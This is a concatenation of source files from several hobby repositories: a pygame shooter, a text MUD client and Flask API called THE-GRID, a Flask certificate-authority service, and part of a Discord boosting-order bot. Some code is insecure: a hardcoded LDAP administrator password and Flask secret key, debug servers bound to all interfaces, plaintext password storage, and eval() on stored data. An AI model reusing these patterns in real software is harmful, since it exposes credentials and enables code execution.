jellys[num].die: Score += jellys[num].score redrawGameWindow(jellys,bgX,bgY) if delgun==True: bullets.pop(bullets.index(bullet)) # 총알 삭제 # 화면 밖의 총알 삭제 if bullet.x >= screen_W or bullet.x <-25: bullets.pop(bullets.index(bullet)) else: bullet.x += bullet.vel # 총알의 x축 증가 keys = pygame.key.get_pressed() mouse=pygame.mouse.get_pressed() #k 키를 누르면 총알 발사 if mouse[0] or keys[pygame.K_k] : #슈팅 K if man.left: facing = -1 else: facing = 1 bullets.append(projectile(man.x +(man.width//2)+ (man.width*facing), man.y + man.height // 2, facing)) # 왼쪽 -방향키 or a elif (keys[pygame.K_LEFT]or keys[pygame.K_a]) and man.x > man.vel: # 왼쪽 A man.x -= man.vel man.left = True man.right = False man.standing = False # 오른쪽 - 방향키 or d elif (keys[pygame.K_RIGHT]or keys[pygame.K_d]) and man.x < screen_W - man.width - man.vel: man.x += man.vel man.right = True man.left = False man.standing=False # 방향키 안 눌렀을 때 else: man.standing=True man.walkCount = 0 # 점프 중이 아닐 때 if not (man.isJump): # 점프키 -스페이스바,j if keys[pygame.K_j] or keys[pygame.K_SPACE]: # 점프 키 j space man.isJump = True man.walkCount = 0 # 점프 중일 때 else: if man.jumpCount >= -10: neg = 1 if man.jumpCount < 0: neg = -1 man.y -= (man.jumpCount ** 2) * 0.5 * neg man.jumpCount -= 1 else: man.isJump = False man.jumpCount = 10 if man.x>screen_W-player_W: # 화면 밖으로 나가면 다시 원위치로 이동 man.x=player_X leastdie=False for num in range(0,jelly_Num): if jellys[num].x<jelly_W or jellys[num].y>=screen_H-jelly_H:# 화면 밖으로 나가면 jellys[num].visible=False leastdie=True # 한 젤리라도 화면 밖으로 나가면 if leastdie : # 젤리 하나라도 죽으면 redrawGameWindow(jellys,bgX,bgY) break bgX-=10 if bgX<=-screen_W: bgX=0 redrawGameWindow(jellys, bgX, bgY) overcount =OVERCOUNT while Gameover:# 게임 오버 # 배경화면 변경 screen.blit(BackGround(ongame, Gameover), (0, 0)) # 폰트 색상 과 문자 위치 지정 text_Score = font_endScore.render(str(Score), 1, ORANGE) textcnt = font_cnt.render(str(overcount ), 1, RED) # 칼라 # 점수 출력 x 위치 지정 check=1 checkScore=Score while True: if checkScore // 10 == 0: break checkScore=checkScore//10 check += 1 text_Score_Size_X = int (screen_W/2) -10*check #오버 카운트 출력 X 위치 조정 if overcount//10==0: textcnt_Size_X= int(screen_W/2) -25 else: textcnt_Size_X = int(screen_W / 2) -50 textcnt_Size_Y= int(screen_H/2)-30 # 점수와 count 출력 screen.blit(text_Score, (text_Score_Size_X, 150)) # 점수 출력 screen.blit(textcnt, (textcnt_Size_X, textcnt_Size_Y)) # count # 키 입력 확인 for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() # 마우스 클릭 시 게임화면으로 다시 전환 & 점수, 플레이어 위치, 배경화면 리셋 elif event.type == pygame.MOUSEBUTTONDOWN: ongame = True Gameover = False overcount=99 man = player(player_X, player_Y, player_W, player_H) Score = 0 bgX = 0 bgY = 0 Heartcnt=Heart_cnt_start mandie=False if overcount<0: #1까지 카운트가 끝나면 자동으로 메인 화면으로 이동 Gameover = False ongame = False elif overcount<=OVERCOUNT: pygame.display.update() overcount -= 1 pygame.time.delay(1000) elif overcount== 99: break
[ "/Background.py", "/Dic.py", "/Gun.py", "/Healkit.py", "/Heart.py", "/Jelly.py", "/Player.py", "/Sound.py", "/System.py", "/Values.py", "/main.py" ]
0atman/THE-GRID
#!/usr/bin/env python import argparse import json import requests import tortilla import click from pygments.lexers import HaskellLexer from prompt_toolkit import prompt from prompt_toolkit.styles import style_from_dict from prompt_toolkit.token import Token from prompt_toolkit.layout.lexers import PygmentsLexer from prompt_toolkit.contrib.completers import WordCompleter from prompt_toolkit.history import InMemoryHistory from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.key_binding.manager import KeyBindingManager from ui import get_bottom_toolbar_tokens from command import command_parser style = style_from_dict({ Token.Toolbar: '#ffffff bg:#333333', Token.Red: '#ff0066', Token.Green: '#44ff44', Token.Orange: '#ff9900', Token.White: '#ffffff', }) history = InMemoryHistory() manager = KeyBindingManager.for_prompt() toolbar_tokens = lambda _: [ (Token.Toolbar, ' '), (Token.Green, ' GRID ONLINE ') ] #get_bottom_toolbar_tokens(p) def grid_prompt(text='> '): return prompt( text, get_bottom_toolbar_tokens=toolbar_tokens, style=style, lexer=PygmentsLexer(HaskellLexer), completer=WordCompleter([]), history=history, auto_suggest=AutoSuggestFromHistory(), key_bindings_registry=manager.registry ) @click.command() @click.option('--host', default=None, help='grid server') @click.option('--token', default=None, help='user token') @click.option('--debug/--no-dubug', default=False) @click.argument('command') def cli(host, token, debug, command): with open('grid.json') as gridjson: json_dict = json.loads(gridjson.read()) grid = tortilla.wrap(json_dict['host']) grid.config.headers.token = json_dict['token'] while True: try: val = grid_prompt() if val: if val == 'exit' or val == 'quit': break print(command_parser(grid, *val.split())) except KeyboardInterrupt: break except EOFError: break except Exception as e: if debug: raise e else: print('ERROR:', e) print('Bye!') if __name__ == '__main__': cli() --- FILE SEPARATOR --- def command_parser(grid, *args): commands = { 'help': help, 'status': grid.world.get } command = args[0] if commands.get(command): return commands[command](*args[1:]) else: return "{}: command not found".format(command) --- FILE SEPARATOR --- player = registerlogin() update_world() main loop world = getworld() world, player, output = update_world(world, player, input) world.save player.save print(output) --- FILE SEPARATOR --- #!/usr/bin/python3 import requests from getpass import getpass from pygments.lexers import HaskellLexer from prompt_toolkit import prompt from prompt_toolkit.styles import style_from_dict from prompt_toolkit.token import Token from prompt_toolkit.layout.lexers import PygmentsLexer from prompt_toolkit.contrib.completers import WordCompleter from prompt_toolkit.history import InMemoryHistory from prompt_toolkit.auto_suggest import AutoSuggestFromHistory from prompt_toolkit.key_binding.manager import KeyBindingManager from auth import api_key from player import Player import world from world import get_room import lis from help_system import help_system from ui import get_bottom_toolbar_tokens base_url = 'http://stord.io/key/' style = style_from_dict({ Token.Toolbar: '#ffffff bg:#333333', Token.Red: '#ff0066', Token.Green: '#44ff44', Token.Orange: '#ff9900', Token.White: '#ffffff', }) history = InMemoryHistory() manager = KeyBindingManager.for_prompt() def get(key): return requests.get( base_url + key, {'auth': api_key} ).json().get(key) def put(key, value): return requests.put( base_url + key, {'auth': api_key, 'value': value} ).json() def scan(*args): for y in reversed(range(0, 10)): print([ len(get_room(x, y)['players']) for x in range(0, 10) ]) ''' @manager.registry.add_binding(Keys.Down) def down(event): event.cli.run_in_terminal(p.south) @manager.registry.add_binding(Keys.Up) def up(event): event.cli.run_in_terminal(p.north) @manager.registry.add_binding(Keys.Left) def left(event): event.cli.run_in_terminal(p.west) @manager.registry.add_binding(Keys.Right) def right(event): event.cli.run_in_terminal(p.east) ''' def grid_prompt(text='> '): return prompt( text, get_bottom_toolbar_tokens=toolbar_tokens, style=style, lexer=PygmentsLexer(HaskellLexer), completer=WordCompleter([]), history=history, auto_suggest=AutoSuggestFromHistory(), key_bindings_registry=manager.registry ) if __name__ == '__main__': try: p = Player() # Commands = { # 'quit': p.quit, # 'help': help, # 'look': look, # 'status': p.status, # 'scan': scan, # 'notes': p.notes # } print('GRID ONLINE') while(True): name = input("What is your name chummer? ") password = getpass() if get("AUTH:%s" % name) == password: print("LOGIN OK") p.name = name p.initialise() break elif get("AUTH:%s" % name): print("PASSWORD INCORRECT") else: register = input("No one here with that name, register? Y/N: ") if register.lower() in ['yes', 'y']: put('AUTH:%s' % name, password) print("%s registered and logged in." % name) p.name = name p.initialise(new=True) break print("(type help to get a list of commands)\n") print("%s enters THE GRID." % p.name) p.status() toolbar_tokens = get_bottom_toolbar_tokens(p) environ = lis.standard_env(player=p, world=world) environ.update({ 'up': p.up, 'down': p.down, 'left': p.left, 'right': p.right, 'help': help_system, 'quit': p.quit, # 'look': look, 'traverse': p.traverse, 'status': p.status, 'scan': scan, 'notes': lambda *args: p.notes({}, *args) }) lis.repl(environment=environ, prompt_func=grid_prompt) except KeyboardInterrupt: pass except EOFError: pass except Exception as e: if p.name == 'oatman': raise e finally: p.quit() --- FILE SEPARATOR --- import typing import os from ui import ReprTriggeredFunction def help_function(topic: str = 'help') -> str: try: with open(os.path.join('help', topic) + ".txt") as tfile: return tfile.read() except: return "Topic not found. To get started just type 'help'." help_system = ReprTriggeredFunction(help_function) --- FILE SEPARATOR --- import json from world import remove_from_room, add_to_room, get_room, put_room from stord import get, put import lis def get_player(player): return json.loads( get('PLAYER:%s' % player) ) class Player(object): "Core player object, keeping state." def __init__(self): self.name = "An anonymous user" self.health = 100 self.x = 0 self.y = 0 self.note_store = [] self.pow = 0 def quit(self, *args): print("\n%s jacks out of THE GRID. Goodbye." % self.name) remove_from_room(self) self.health = 0 def status(self, *args): "Show current GRID position." room_data = get_room(self.x, self.y) room_data['players'].remove(self.name) if room_data['players']: print("HERE: " + ", ".join(room_data['players'])) if room_data.get('data'): for n, datum in enumerate(room_data.get('data')): print("DATA #" + str(n) + " " + datum.split('\n')[0]) def up(self, *args): remove_from_room(self) self.y = self.y + 1 add_to_room(self) self.status() def down(self, *args): remove_from_room(self) self.y = self.y - 1 add_to_room(self) self.status() def right(self, *args): remove_from_room(self) self.x = self.x + 1 add_to_room(self) self.status() def left(self, *args): remove_from_room(self) self.x = self.x - 1 add_to_room(self) self.status() def traverse(self, x, y): remove_from_room(self) self.x = self.x + x self.y = self.y + y add_to_room(self) return (self.x, self.y) def writenote(self): print( "Write your note below, " "to finish put a period '.' on a line by itself" ) input_list = [] while True: input_str = input('" ') if input_str == ".": break else: input_list.append(input_str) self.note_store.append("\n".join(input_list)) self.save() def notes(self, world, *args): if not self.__dict__.get('note_store'): self.note_store = [] self.save() if len(args) == 0: if self.note_store: for n, note in enumerate(self.note_store): print("note #" + str(n) + "\n" + note.split('\n')[0]) else: print("No notes.") elif len(args) > 0: if str(args[0]).lower() in ['new', 'create', 'write', 'add']: self.writenote() return if str(args[0]).lower() in ['delete', 'del', 'rm']: try: del self.note_store[int(args[1])] self.save() print('Deleted.') except ValueError: print("Bad note ID.") except IndexError: print("Can't find that note ID") return if str(args[0]).lower() in ['run']: try: for line in self.note_store[int(args[1])].split('\n'): val = lis.eval(lis.parse(line)) if val: print(lis.lispstr(val)) print() except IndexError: print("Can't find that note ID") return if str(args[0]).lower() in ['drop']: try: dropped_note = self.note_store[int(args[1])] del self.note_store[int(args[1])] self.save() room_data = get_room(self.x, self.y) if not room_data.get('data'): room_data['data'] = [] room_data['data'].append(dropped_note) put_room(self.x, self.y, room_data) except ValueError: raise # print("Bad note ID.") except IndexError: raise # print("Can't find that note ID") return elif type(args[0]) == int: try: print( "note #" + str(args[0]) + " " + self.note_store[int(args[0])] ) return except ValueError: print("Bad note ID.") return except IndexError: print("Can't find that note ID") return def save(self): put('PLAYER:%s' % self.name, json.dumps(self.__dict__)) def initialise(self, new=False): if new: self.save() self.__dict__ = get_player(self.name) if self.name in get('GRID:%s,%s' % (str(self.x), str(self.y))): raise Exception( "Already logged in. Try again. " "If this is in error, please contact oatman@bgr0.com." ) add_to_room(self) --- FILE SEPARATOR --- from lis import repl repl() --- FILE SEPARATOR --- import json from world import remove_from_room, add_to_room, get_room, put_room from stord import get, put def get_player(player): return json.loads( get('PLAYER:%s' % player) ) class Player(object): "Core player object, keeping state." def __init__(self, name=None): if name: self.__dict__ = get_player(name) else: self.name = "an anonymous user" self.health = 100 self.x = 0 self.y = 0 self.pow = 0 if self.name not in get('GRID:%s,%s' % (str(self.x), str(self.y))): raise Exception( "Player no longer in room. This is an error." "If this persists, please contact oatman@bgr0.com." ) add_to_room(self) def status(self, *args): "Show current GRID position." room_data = get_room(self.x, self.y) room_data['players'].remove(self.name) if room_data['players']: return("HERE: " + ", ".join(room_data['players'])) if room_data.get('data'): for n, datum in enumerate(room_data.get('data')): return("DATA #" + str(n) + " " + datum.split('\n')[0]) return (self.x, self.y) def up(self, *args): remove_from_room(self) self.y = self.y + 1 add_to_room(self) return (self.x, self.y) def down(self, *args): remove_from_room(self) self.y = self.y - 1 add_to_room(self) return (self.x, self.y) def right(self, *args): remove_from_room(self) self.x = self.x + 1 add_to_room(self) return (self.x, self.y) def left(self, *args): remove_from_room(self) self.x = self.x - 1 add_to_room(self) return (self.x, self.y) def traverse(self, x, y): remove_from_room(self) self.x = self.x + x self.y = self.y + y add_to_room(self) return (self.x, self.y) def quit(self): remove_from_room(self) def save(self): put('PLAYER:%s' % self.name, json.dumps(self.__dict__)) --- FILE SEPARATOR --- def isprime(n): """Returns True if n is prime""" if n == 2: return True if n == 3: return True if n % 2 == 0: return False if n % 3 == 0: return False i = 5 w = 2 while i * i <= n: if n % i == 0: return False i += w w = 6 - w return True def max_previous_spiral(x, y, offset=0): n = max([abs(x), abs(y)]) + offset return 4*n**2 - 4*n+1 def get_spiral_number(x, y): """ radius is zero indexed """ radius = max(abs(x), abs(y)) mps = max_previous_spiral(x, y) if x == 0 and y == 0: return 0 elif x >= 0 and y >= 0: """ (3, 2) = 30 if both are +ve, max previous spiral, add the radius add y add radius - x QED """ return mps + radius + y + (radius - x) elif x <= 0 and y >= 0: """ (-2, 3) = 36 if x is -ve max previous spiral, add radius x 3 add abs x + rad - y QED """ return mps + (radius * 3) + abs(x) + (radius - abs(y)) elif x <= 0 and y <= 0: """ (-2, -3) = 44 if x is -ve max previous spiral, add radius x 5 add abs y + rad - abs x """ return mps + (radius * 5) + abs(y) + (radius - abs(x)) elif x >= 0 and y <= 0: if abs(x) > abs(y): """ (3, -2) = 26 (4, -2) = 51 if x > abs y: max previous spirals + rad - abs x + rad - abs y """ return mps + radius - abs(x) + radius - abs(y) else: """ (2, -3) = 48 if x <= abs y max previous spirals + r * 7 + abs x + rad - abs y """ return mps + (radius * 7) + abs(x) + (radius - abs(y)) def is_prime_grid(x, y): return isprime(get_spiral_number(x, y)) --- FILE SEPARATOR --- import json import requests from fn.func import curried from auth import api_key base_url = 'http://stord.io/key/' @curried def get(key): return requests.get( base_url + key, {'auth': api_key} ).json().get(key) @curried def put(key, value): return requests.put( base_url + key, {'auth': api_key, 'value': value} ).json() --- FILE SEPARATOR --- import doctest doctest.testfile("language_documentation.md") --- FILE SEPARATOR --- from fn.func import curried from prompt_toolkit.token import Token import json from spiral import is_prime_grid from stord import get class ReprTriggeredFunction(object): """ Clever use of __repr__ inspired by Brandon Rhodes: http://github.com/brandon-rhodes/python-adventure Wrap a function in this, and it can be called with no args by typing it into the repl. >>> c = ReprTriggeredFunction(lambda: "Hello World") >>> c Hello World >>> c() 'Hello World' """ def __init__(self, f): self.f = f def __call__(self, *args, **kwargs): return self.f(*args, **kwargs) def __repr__(self, *args, **kwargs): return self.f(*args, **kwargs) def position(player): room_raw = get( 'GRID:%s,%s' % (str(player.x), str(player.y)) ) room_data = json.loads(room_raw) room_data['players'].remove(player.name) return "NODE(%0.2X,%0.2X)" % (player.x, player.y) @curried def get_bottom_toolbar_tokens(player, cli): prime = is_prime_grid(player.x, player.y) prompt_text = position(player) tokens = [ (Token.Toolbar, ' '), (Token.Green, ' GRID ONLINE '), (Token.Toolbar, ' '), (Token.White, ' %s ' % prompt_text), (Token.Toolbar, ' '), (Token.Orange, ' %d POW ' % player.pow), ] if prime: tokens.append((Token.Toolbar, ' ')) tokens.append((Token.Red, " PROXIMITY WARNING ")) return tokens --- FILE SEPARATOR --- """API.""" from functools import wraps import uuid from hashlib import sha1 import json from flask import Flask, abort from flask import g, request, redirect, url_for from flask_restful import Resource, Api, reqparse import requests import webcolors from auth import api_key from spiral import get_spiral_number from player import Player from stord import get, put app = Flask(__name__) api = Api(app) def login_required(f): @wraps(f) def decorated_function(*args, **kwargs): token = request.headers.get('token', None) player_name = get('TOKEN_LOOKUP:%s' % token) if player_name: player = Player(player_name) return f(args[0], player, *args[1:], **kwargs) else: abort(403) return decorated_function class Token(Resource): token_args = reqparse.RequestParser() token_args.add_argument('username', type=str, help='bad username') token_args.add_argument('password', type=str, help='bad password') def get(self): args = self.token_args.parse_args() if get("AUTH:%s" % args['username']) == args['password']: token = get('TOKEN_USERNAME:%s' % args['username']) else: abort(403) return { "token": token } def put(self): args = self.token_args.parse_args() passwd = get("AUTH:%s" % args['username']) if passwd == args['password']: abort(409) elif passwd: abort(403) token = uuid.uuid4() put('AUTH:%s' % args['username'], args['password']) put('TOKEN_LOOKUP:%s' % token, args['username']) return put('TOKEN_USERNAME:%s' % args['username'], token) class World(Resource): def closest_colour(self, requested_colour): min_colours = {} for key, name in webcolors.css3_hex_to_names.items(): r_c, g_c, b_c = webcolors.hex_to_rgb(key) rd = (r_c - requested_colour[0]) ** 2 gd = (g_c - requested_colour[1]) ** 2 bd = (b_c - requested_colour[2]) ** 2 min_colours[(rd + gd + bd)] = name return min_colours[min(min_colours.keys())] def get_colour_name(self, requested_colour): try: closest_name = actual_name = webcolors.rgb_to_name(requested_colour) except ValueError: closest_name = self.closest_colour(requested_colour) actual_name = None return actual_name, closest_name @login_required def get(self, player): x = player.x y = player.y number = get_spiral_number(int(x), int(y)) digest = sha1(str(number).encode('utf-8')).hexdigest() colour_tuple = ( int(digest[-2:], 16), int(digest[-4:-2], 16), int(digest[-6:-4], 16) ) actual_name, closest_name = self.get_colour_name(colour_tuple) colour_name = actual_name if actual_name else closest_name gid = 'GRID:%s,%s' % (str(x), str(y)) room_raw = get(gid) room = json.loads(room_raw) if room_raw else {'players': []} put(gid, json.dumps(room)) player.quit() return { "color": colour_name, "player": player.__dict__, "room": room } class WorldPosition(Resource): position_parser = reqparse.RequestParser() position_parser.add_argument('direction', type=str) @login_required def put(self, player): args = self.position_parser.parse_args() direction = args['direction'] player_move = { 'up': player.up, 'down': player.down, 'left': player.left, 'right': player.right } return {'status':player_move[direction]()} api.add_resource(Token, '/token/') api.add_resource(World, '/world/') api.add_resource(WorldPosition, '/world/position') if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=80) --- FILE SEPARATOR --- import json from hashlib import sha1 import webcolors from stord import get, put from spiral import get_spiral_number def get_room(x, y): room_raw = get( 'GRID:%s,%s' % (str(x), str(y)) ) return json.loads(room_raw) if room_raw else {'players': []} def put_room(x, y, room_data): put( 'GRID:%s,%s' % (str(x), str(y)), json.dumps(room_data) ) return room_data def remove_from_room(player): room_raw = get( 'GRID:%s,%s' % (str(player.x), str(player.y)) ) room_data = json.loads(room_raw) if room_raw else { 'players': [player.name] } if room_data['players'].count(player.name): room_data['players'].remove(player.name) else: raise Exception('User not in room') put('GRID:%s,%s' % (str(player.x), str(player.y)), json.dumps(room_data)) def add_to_room(player): put('PLAYER:%s' % player.name, json.dumps(player.__dict__)) room_raw = get( 'GRID:%s,%s' % (str(player.x), str(player.y)) ) room_data = json.loads(room_raw) if room_raw else {'players': []} room_data['players'].append(player.name) put('GRID:%s,%s' % (str(player.x), str(player.y)), json.dumps(room_data)) def closest_colour(requested_colour): min_colours = {} for key, name in webcolors.css3_hex_to_names.items(): r_c, g_c, b_c = webcolors.hex_to_rgb(key) rd = (r_c - requested_colour[0]) ** 2 gd = (g_c - requested_colour[1]) ** 2 bd = (b_c - requested_colour[2]) ** 2 min_colours[(rd + gd + bd)] = name return min_colours[min(min_colours.keys())] def get_colour_name(requested_colour): try: closest_name = actual_name = webcolors.rgb_to_name(requested_colour) except ValueError: closest_name = closest_colour(requested_colour) actual_name = None return actual_name, closest_name def look(room, player, x, y): number = get_spiral_number(int(x), int(y)) digest = sha1(str(number).encode('utf-8')).hexdigest() colour_tuple = ( int(digest[-2:], 16), int(digest[-4:-2], 16), int(digest[-6:-4], 16) ) actual_name, closest_name = get_colour_name(colour_tuple) print(actual_name if actual_name else closest_name)
[ "/cli.py", "/command.py", "/old/design.py", "/old/grid.py", "/old/help_system.py", "/old/player.py", "/old/repl.py", "/player.py", "/spiral.py", "/stord.py", "/test.py", "/ui.py", "/web.py", "/world.py" ]
0b11stan/certificator
import os import OpenSSL.crypto from OpenSSL.crypto import FILETYPE_PEM def get_pending_cert(cert_id): csr_file = open("certificates/pending/{}.csr".format(cert_id), "r") file_content = csr_file.read() return OpenSSL.crypto.load_certificate_request(FILETYPE_PEM, file_content) def issue_cert(cert_id): csr_path = "certificates/pending/{}.csr".format(cert_id) cer_path = "certificates/issued/{}.cer".format(cert_id) cert = create_certificate( get_ca_private_key(), get_ca_cert(), get_pending_cert(cert_id) ) cert_buffer = OpenSSL.crypto.dump_certificate(FILETYPE_PEM, cert) cert_file = open(cer_path, "bw") cert_file.write(cert_buffer) cert_file.close() os.remove(csr_path) def read(path): file_content = open(path, "r") return file_content.read().strip() def read_secret_passphrase(): return read("secret/passphrase") def read_secret_key(): return read("secret/intermediate.key") def read_secret_cert(): return read("secret/intermediate.cert") def get_ca_private_key(): # TODO : use a callback to get passphrase, avoiding memory dump secret = read_secret_passphrase().encode('utf-8') return OpenSSL.crypto.load_privatekey(FILETYPE_PEM, read_secret_key(), passphrase=secret) def get_ca_cert(): return OpenSSL.crypto.load_certificate(FILETYPE_PEM, read_secret_cert()) def detail_csr(csr): key = csr.get_pubkey() subject = csr.get_subject() algorithm = 'RSA' if key.type() == OpenSSL.crypto.TYPE_RSA else None size = key.bits() details = {} for key, val in dict(subject.get_components()).items(): details[key.decode()] = val.decode() return { "algorithm": algorithm, "size": size, "details": { "CN": details["CN"], "O": details["O"], "OU": details["OU"], "L": details["L"], "ST": details["ST"], "C": details["C"], "MAIL": details["emailAddress"], } } def create_certificate(ca_private_key, ca_cert, client_csr): cert = OpenSSL.crypto.X509() #cert.set_serial_number(serial_no) #cert.gmtime_adj_notBefore(notBeforeVal) #cert.gmtime_adj_notAfter(notAfterVal) cert.set_issuer(ca_cert.get_subject()) cert.set_subject(client_csr.get_subject()) cert.set_pubkey(client_csr.get_pubkey()) cert.sign(ca_private_key, "sha256") return cert --- FILE SEPARATOR --- import sys import json import utils import cert_utils from cert_utils import get_pending_cert, get_ca_private_key, get_ca_cert from flask import request, Response from flask_jwt import jwt_required, current_identity from werkzeug.security import safe_str_cmp app = utils.init_flask() ldap = utils.init_ldap(app) jwt = utils.init_jwt(app, ldap) @app.route("/") @jwt_required() def index(): return "%s\n" % current_identity @app.route("/cert", methods=['GET', 'POST']) @jwt_required() def certificates(): if request.method == 'GET': body = json.dumps(utils.list_certificates(state=request.args.get('filter'))) return Response(body, status=200) elif request.method == 'POST': current_identity.create_cert_request(request.get_data().decode('utf-8')) return Response("created", status=201) @app.route("/cert/<cert_id>", methods=['GET', 'POST', 'DELETE']) @jwt_required() def certificate_details(cert_id): if request.method == 'GET': csr = cert_utils.get_pending_cert(cert_id) body = json.dumps(cert_utils.detail_csr(csr)) return Response(body, status=200) elif request.method == 'POST': if 'Domain Admins' in current_identity.groups: cert_utils.issue_cert(cert_id) return Response(status=204) else: return Response("forbidden", status=403) elif request.method == 'DELETE': revoke_certificates(cert_id) if __name__ == "__main__": app.run(host="0.0.0.0", port=int(sys.argv[1]), debug=True) --- FILE SEPARATOR --- import time import os import utils from enum import Enum class CertState(Enum): PENDING = 'PENDING' ISSUED = 'ISSUED' REVOKED = 'REVOKED' class User(object): def __init__(self, id, groups): self.id = id self.groups = groups def __str__(self): return "username : {}\ngroups : {}".format(self.id, self.groups) def create_cert_request(self, content): path = "certificates/pending/{}_{}.csr".format(self.id, int(time.time())) f = open(utils.absolute_path(path), "w+") f.write(content) f.close() --- FILE SEPARATOR --- import os from flask import Flask from flask_simpleldap import LDAP from flask_jwt import JWT from user import User, CertState def absolute_path(relative_path): current_dir = os.path.dirname(__file__) return os.path.join(current_dir, relative_path) def create_file_tree(): dirs = [ 'certificates', 'certificates/pending', 'certificates/revoked', 'certificates/issued' ] for relative_path in dirs: directory = absolute_path(relative_path) if not os.path.exists(directory): os.makedirs(directory) def init_flask(): app = Flask(__name__) app.debug = True app.secret_key = "S3CR3T" create_file_tree() return app def init_ldap(app): app.config['LDAP_HOST'] = 'ad-crypto.epsi.intra' app.config['LDAP_BASE_DN'] = 'cn=Users,dc=epsi,dc=intra' app.config['LDAP_USERNAME'] = 'cn=Administrator,cn=Users,dc=epsi,dc=intra' app.config['LDAP_PASSWORD'] = 'P@ssw0rd' app.config['LDAP_USER_OBJECT_FILTER'] = '(sAMAccountName=%s)' return LDAP(app) def init_jwt(app, ldap): def authenticate(username, password): binded = ldap.bind_user(username, password) if binded and password != '': user_groups = ldap.get_user_groups(user=username) user = User(username, user_groups) return user def identity(payload): user_name = payload['identity'] user_groups = ldap.get_user_groups(user=user_name) return User(user_name, user_groups) return JWT(app, authenticate, identity) def listfiles(path): cert_dir = absolute_path(path) with os.scandir(cert_dir) as directory: files = [entry.name for entry in directory if entry.is_file()] return files if files is not None else [] def list_certificates(state=None): if CertState.PENDING.value == state: return listfiles('certificates/pending') elif CertState.ISSUED.value == state: return listfiles('certificates/issued') elif CertState.REVOKED.value == state: return listfiles('certificates/revoked') else: return listfiles('certificates/pending') \ + listfiles('certificates/issued') \ + listfiles('certificates/revoked')
[ "/cert_utils.py", "/main.py", "/user.py", "/utils.py" ]
0bruhburger0/bot_wow
import discord, config, asyncio, system, math from discord.ext import commands from operator import itemgetter from db import history_customer, history_executor, ended, update8, update9, not_conf, active_orders_customer, active_orders_executor, get_order_id, get_order, get_executor, get_customer, update, cerate_executor, create_order, cerate_customer bot = commands.Bot(command_prefix='/') @bot.command() async def role(ctx): if int(ctx.channel.id) == 777395744046186517: user_id = int(ctx.message.author.id) roles = {'Below 200': 200, '1000+ Mythic Score': 1000, '1500+ Mythic Score': 1500, '2000+ Mythic Score': 2000, '2500+ Mythic Score': 2500, '3000+ Mythic Score': 3000, '3500+ Mythic Score': 3500} # print(ctx.message.author.roles) for role in roles: for i in ctx.message.author.roles: print(role, i) if str(i) == str(role): update("executors", "score", roles[role], user_id) @bot.command() async def help_customer(ctx): embedVar = discord.Embed(title="Командны для заказчиков:", description="Support - @sup", color=000000) embedVar.add_field(name="Создание заказа:", value="/new_order [уровень ключа] [кол-во участников]\nБыстрый заказ: /new_order [уровень ключа] [кол-во участников] @[Фракция] @[Роль-Броня-Название ключа] @[Роль-Броня] @[Роль-Броня-Количество ролей] [(Комментарий)]", inline=False) embedVar.add_field(name="Комментарий к заказу", value="/comment [комментарий]", inline=False) embedVar.add_field(name="Отменить заказ:", value="/close", inline=False) embedVar.add_field(name="История заказов:", value="/his", inline=False) embedVar.add_field(name="Юзер-панель:", value="/panel", inline=False) embedVar.add_field(name="Подтвердить заказ:", value="/end [id заказа]", inline=False) embedVar.add_field(name="Отклонить заказ:", value="/not_accept [id заказа] [причина]", inline=False) await ctx.send(embed=embedVar) @bot.command() async def help_executor(ctx): embedVar = discord.Embed(title="Командны для исполнителей:", description="Support - @sup", color=000000) embedVar.add_field(name="Юзер-панель:", value="/cab", inline=False) embedVar.add_field(name="История заказов:", value="/history", inline=False) embedVar.add_field(name="Выбрать кошелёк:", value="/choose [название платежной системы] [номер кошелька]\nВарианты платежных систем: Qiwi, Tinkoff, WebMoney, Yandex.Money, Sberbank", inline=False) embedVar.add_field(name="Отправить заказ на проверку:", value="/prof [id заказа] [ссылка на скрин-доказательство]", inline=False) embedVar.add_field(name="Сообщение заказчику:", value="/msg [id заказа] [сообщение]", inline=False) await ctx.send(embed=embedVar) @bot.command() async def cancel_order(ctx): if int(ctx.channel.id) != 774270476305563679: user_id = int(ctx.message.author.id) update("orders", "step", 11, user_id) embedVar = discord.Embed(title="Заказ отменен", description='Создать новый заказ - /new_order [ключ] [кол-во участников]', color=000000) await ctx.send(embed=embedVar) @bot.command() async def end(ctx, order_id): if int(ctx.channel.id) != 774270476305563679: try: ended("orders", "step", 12, int(order_id), int(ctx.message.author.id)) await ctx.send(f"Заказ №{order_id} закрыт.") order = get_order_id(order_id) room = bot.get_channel(order['room']) await room.delete() for executor in eval(order['executors']): cnt = get_executor(int(executor)) update('executors', 'cnt_orders', cnt['cnt_orders']+1, int(executor)) except: await ctx.send("Для тебя эта команда не доступна") @bot.command() async def not_accept(ctx, order_id, *, text): if int(ctx.channel.id) != 774270476305563679: order = get_order_id(order_id) executors_id = eval(order['executors_id']) for executor in executors_id: member = bot.get_user(executor) await member.send(f"Твой заказ №{order_id} не приняли.\nПричина: {text}") @bot.command() async def history(ctx): if int(ctx.channel.id) != 774270476305563679: history_orders = history_executor(int(ctx.message.author.id)) embedVar = discord.Embed(title="История заказов:", description=history_orders, color=000000) await ctx.send(embed=embedVar) @bot.command() async def cab(ctx): if int(ctx.channel.id) != 774270476305563679: cerate_executor(int(ctx.message.author.id), str(ctx.message.author.name)) executor = get_executor(int(ctx.message.author.id)) active_orders = active_orders_executor(int(ctx.message.author.id)) embedVar = discord.Embed(title="Личный кабинет:", description=f"Активные заказы: {active_orders}\n\n\ Команды для управления заказом:\n\ /prof [id заказа] [link] - отправить отчет проделанной работы\n\ /msg [id заказа] - отправить сообщение заказчику\n\n\ Пример: /prof 91 https://i.imgur.com/S2NmPv2.jpegn\n\ (Ссылка на изображение доказательства)", color=000000) embedVar.add_field(name="Баланс:", value=executor['balance'], inline=True) embedVar.add_field(name="Кошелек для выплат:", value=f"Платежная система: {executor['wallet_name']}\nНомер кошелька: {executor['wallet_address']}", inline=True) embedVar.add_field(name="Команды:", value=config.commands_cab, inline=True) await ctx.send(embed=embedVar) @bot.command() async def prof(ctx, order_id, link): if int(ctx.channel.id) != 774270476305563679: channel = bot.get_channel(773841835268767759) order = get_order_id(order_id) user_id = int(ctx.message.author.id) if user_id in eval(order['executors_id']): member = bot.get_user(order['customer_id']) await member.send(f"Заказ №{order_id} выполнен.\nФото-доказательство: {link}") else: await member.ctx(f"Ты ошибся заказом(") @bot.command() async def choose(ctx, wallet_name, wallet_address): if int(ctx.channel.id) != 774270476305563679: update('executors', 'wallet_name', 